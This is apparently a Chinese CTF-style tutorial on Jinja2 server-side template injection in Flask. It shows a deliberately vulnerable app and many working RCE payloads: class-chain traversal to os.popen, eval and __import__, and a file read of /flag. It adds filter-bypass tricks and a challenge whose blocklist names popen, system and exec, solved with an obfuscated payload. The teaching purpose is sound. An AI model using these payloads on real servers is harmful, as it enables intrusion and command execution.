0x00 前言

SSTI,全称 Server Side Template Injection ,即服务器端模板注入,通过使用模板语法将恶意 Payload 注入到模板中,从而实现对模板甚至对服务器进行操纵。通过以不同的模板语法作为 Payload 传入服务器端对模板引擎进行识别,也可以通过报错信息找到使用的模板引擎。

python_ssti-1

本文目前只有 Jinja2 模板注入的相关内容,其他的待学习ing。

0x01 Flask

Flask 是一个使用 Python 编写的 Web 应用程序框架,使用了 Werkzeug 工具箱和 Jinja2 模板引擎,因此如果允许用户的任何输入有可能会被 SSTI。

Flask API

通过 Flask API - Application Object 可以找到一个变量 configFlask API - Application Globals 可以得知 Flask 找到一个变量 g ,也可以通过 Flask API - Useful Functions And Classes 找到很多对于模板注入有利的函数或者类。

{{g}} = "<flask.g of 'test'>"
{{config}} = "<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>"
{{config_class.__class__}} = "<class 'jinja2.runtime.Undefined'>"

总之,可以通过能获取到的内容得到很多的信息。

Flask 渲染方法

Flask 渲染用的函数有两个,即 render_templaterender_template_string 。当然,也可以直接通过 jinja2.environment.Template.render 进行渲染。其中, render_template 用于渲染指定文件,而 render_template_string 用于渲染一个字符串。

from flask import Flask, request, render_template, render_template_string
from jinja2 import Template

app = Flask(__name__)

@app.route('/')
def index():
    # 通过 jinja2.environment.Template.render 渲染
    return Template("Hello World!").render()

@app.route('/test')
def test():
    # 通过 flask.render_template 渲染 /templates/index.html
    return render_template('index.html')

@app.route('/test2')
def test2():
    # 通过 flask.render_template_string 渲染
    return render_template_string('Hello World!')

if __name__ == '__main__':
    app.run()

需要注意的是使用 render_template 方法渲染时需要将指定文件放在 /templates 目录中以便于读取,如果不使用 flask 的渲染方法而使用 jinja2 的渲染方法的话则无法使用类似 gconfigurl_for 等等 Flask API 。

0x02 漏洞利用

漏洞原理在于代码中存在对用户输入过滤不到位的内容,导致攻击者构造恶意 Payload 进行攻击,例如以下的代码。

from flask import Flask, request, render_template, render_template_string
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name')
    template = f"Hello, {name}"
    return render_template_string(template)

if __name__ == '__main__':
    app.run()

访问全局对象

通过找到类的父类并输出所有子类即可从中找到包含恶意执行函数的类,可以先找全局对象,如下

  • []
  • '' or ""
  • ()
  • dict
  • config
  • request

恢复

选择好全局对象后,就开始进行恢复类

# 法一 __class__.__base__
{{"".__class__}} = "<class 'str'>" # str 类
{{"".__class__.__base__}} = "<class 'object'>"
{{"".__class__.__base__.__subclasses__()}} = "[<class 'type'>, <class 'async_generator'>, ...]" # 所有类

# 法二 __class__.__mro__
{{"".__class__}} = "<class 'str'>" # str 类
{{"".__class__.__mro__}} = "(<class 'str'>, <class 'object'>)" # str 类方法解析顺序
{{"".__class__.__mro__[-1]}} = "<class 'object'>"
{{"".__class__.__mro__[-1].__subclasses__()}} # 所有类

RCE

通过翻看子类可以看到 os._wrap_close 类,通过调用该类中的 popensystem 等方法就可以执行恶意指令。

假设需要通过子类来执行 eval 函数,但是又不知道那些子类有,可以通过 BurpSuite 或者写个 Python 脚本来查找,以 BurpSuite 为例。

python_ssti-2

通过 Proxy 模块对所需要爆破的请求右键添加至 Intruder 模块中,并且与上图一直给所需要爆破的地方打上变量。

/?name={{"".__class__.__mro__[1].__subclasses__()[§0§].__init__.__globals__.__builtins__.eval}}

在 Python 控制台中输入

len("".__class__.__mro__[1].__subclasses__())
763

可以得到数组长度为 763,故设置范围为 0 - 762 即可,如下图所示。

python_ssti-3

点击 Start Attack 进行爆破攻击,通过将报告按照 Length 升序排列并通过 Response 可以找到符合的子类。

找出适合的子类后,就可以开始构造恶意 Payload 了,如下

name={{"".__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.eval("__import__('os').popen('echo HelloWorld!').read()")}}

即可得到回显 Hello, HelloWorld!

其他的 Payload 如下

通过 eval

  • {{lipsum.__globals__.__builtins__.eval("__import__('os').popen('echo HelloWorld!').read()")}}

通过 __import__

  • {{lipsum.__globals__.__builtins__.__import__('os').popen('echo HelloWorld!').read()}}
  • {{config.__class__.__init__.__globals__.__builtins__.__import__('os').popen('echo HelloWorld!').read()}}

通过 linecache

支持的类

- <class 'traceback.FrameSummary'>
- <class 'traceback.TracebackException'>
- <class 'inspect.BlockFinder'>
- <class 'inspect.Parameter'>
- <class 'inspect.BoundArguments'>
- <class 'inspect.Signature'>

使用例子

  • {{''.__class__.__mro__[-1].__subclasses__()[220].__init__.__globals__.linecache.os.popen('echo World!').read()}}

通过 _frozen_importlib_external.FileLoader 类

  • {{''.__class__.__mro__[-1].__subclasses__()[119].get_data(0,"/flag")}}

通过 模板函数

  • {{config.__class__.__init__.__globals__['os'].popen('echo world!').read()}}
  • {{url_for.__globals__.os.popen('echo HelloWorld!').read()}}
  • {{cycler.__init__.__globals__.os.popen('echo world!').read()}}
  • {{joiner.__init__.__globals__.os.popen('echo world!').read()}}
  • {{namespace.__init__.__globals__.os.popen('echo world!').read()}}
  • {{get_flashed_messages.__globals__.os.popen('echo HelloWorld!').read()}}
  • {{get_flashed_messages.__globals__.current_app.config}}

通过 warning

  • {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("whoami").read()}}{%endif%}{% endfor %}

等等。

0x03 Bypass

https://jinja.palletsprojects.com/en/2.11.x/templates/#variables

过滤点号

{{ foo.bar }}
{{ foo['bar'] }}
{{ foo|attr("bar") }}

可以用 [] 来代替 . ,也可以用 |attr() 代替。

过滤双花括号

{{ foo.bar }}
{%print(foo.bar)%}

可以用 {%print()%} 代替 {{}} ,也可以选择用 pop() 函数绕过。

{{''.__class__.__mro__[-1].__subclasses__().pop(xx)}}

过滤(双)下划线

request['\x5f\x5fclass\x5f\x5f'] # \x 绕过
request['\u005f\u005fclass\u005f\u005f'] # \u 绕过
request|attr(["_"*2, "class", "_"*2]|join) # 单下划线 绕过

过滤中括号

request|attr("__class__") # attr 绕过
{{''.__class__.__base__.__subclasses__().pop(xx)}} # pop 绕过
{{[].__class__.__base__.__subclasses__().__getitem__(xx)}} # __getitem__ 绕过

过滤(双)引号

Request 传参绕过

https://flask.palletsprojects.com/en/2.3.x/api/#flask.request
  • request.values.shell
  • request.args.shell
  • request.headers.Host
  • request.cookies.shell

chr() 绕过

支持的类

  • _ModuleLock
  • _DummyModuleLock
  • _ModuleLockManager
  • ModuleSpec
  • ...

使用例子( + => %2b

  • {% set chr=''.__class__.__mro__[-1].__subclasses__()['_ModuleLock'].__init__.__globals__.__builtins__.chr %}{{chr(80)%2bchr(80)}}

%c|format() 构造引号

  • {% set chr=lipsum|lower|list|first|urlencode|first %}{%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{{url|format(39)}}

过滤空格

%0a 绕过。

过滤 + 号

可以用 ~ 代替,或者使用 attr()

0x04 例题

from flask import Flask, request
from jinja2 import Template
import re

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer<!--?name=CTFer')
    print(f'name: {name}')
    if not re.findall(
            r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",
            name):
        t = Template("hello " + name)
        print(t.render())
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()

通过构造 Payload

{{(""|select|string)}}

可以得到以下结果

<generator object select_or_reject at 0x000001B111F11EE0>

因此可以通过 {{(""|select|string)[24]}} 得到 _

当然,也可以通过以下这几种方法来得到 _

  • {{lipsum|lower|batch(19)|list|first|last}}
  • {{lipsum|escape|batch(22)|list|first|last}}

由于点号和加号被过滤了,可以用中括号进行绕过点号,用 ~ 来连接字符,构造的原始 Payload 如下

{{lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

绕过后的 Payload 如下

{%set%0ai=""|select|string%}{%print(((lipsum[i[24]*2~"g""lobals"~i[24]*2][(""|select|string)[24]*2~"builtins"~i[24]*2][i[24]*2~"import"~i[24]*2]("os")["p""open"]("cat"~i[10]~"/fla"~"g"))["read"]()))%}

0x05 后言

文章目前还是不完全,之后还会继续更新的!欢迎大佬们来纠正或是提出新的想法哦!Ciallo~(∠・ω< )⌒☆

参考文章